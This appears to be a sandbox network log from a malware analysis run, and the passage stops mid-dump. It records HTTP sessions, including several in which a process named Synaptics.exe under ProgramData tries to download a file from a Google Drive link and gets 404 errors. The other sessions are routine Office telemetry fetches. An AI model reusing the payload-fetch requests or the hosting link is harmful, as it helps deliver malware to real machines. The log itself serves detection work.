Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50018	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:25 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-CwCx90Z_TIeS0jdlAz9u9g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50019	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:25 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:26 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:25 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-t6xGuQDH8jw8205yMUQIcg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC44iFXGkrvxw2QCmjOSv_-blUPu7H382-Zzq6HV9yUB_Xp2qLVKHzo_BlIbqOcLjD-XdLuzKWdm5w Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:16:26 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:16:26 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 53 5a 39 73 4d 76 41 48 51 67 31 4d 35 4d 52 44 47 57 4f 46 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="NSZ9sMvAHQg1M5MRDGWOFg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:16:26 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50021	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:25 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:26 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:26 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-fhUtYGTq6CTsPCNUXPRTrw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC5LEIyvBtx381ikNuIsnFhYKx9WL1YoKab03RfD3-3vR4eqJQfVnzCvbD0ssdW0wNTuBa7WBUuh7w Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:16:26 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:16:26 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 45 55 53 6e 78 39 33 67 50 64 59 49 64 71 47 69 34 2d 57 78 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="WEUSnx93gPdYIdqGi4-WxQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:16:26 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	50013	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:25 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:25 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 6fdb675e-b01e-0070-05ce-451cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231625Z-1746fd949bdwt8wrhC1EWRu6rg00000003g000000000ev52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:25 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50020	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:25 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-q9sTe3Wj9XCbTYElsxlxcg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	50023	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:26 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 7057cc02-501e-008f-16cc-459054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231626Z-1746fd949bd54zxghC1EWRzre400000003mg00000000gd52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	50024	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:26 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 859db5fc-901e-005b-23cb-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231626Z-1746fd949bdb8xvchC1EWRmbd4000000039000000000g9nk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	50026	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:26 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: bcf9f347-101e-007a-60d2-45047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231626Z-1746fd949bdb8xvchC1EWRmbd4000000039000000000g9nh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	50025	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:26 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:26 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 68175a90-d01e-0065-3ed1-45b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231626Z-1746fd949bddgsvjhC1EWRum2c00000003rg000000002ank x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:26 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	50029	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:27 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 2aa810bc-801e-008f-63c1-452c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231627Z-1746fd949bdhk6hphC1EWRaw3c000000032g00000000k9d0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 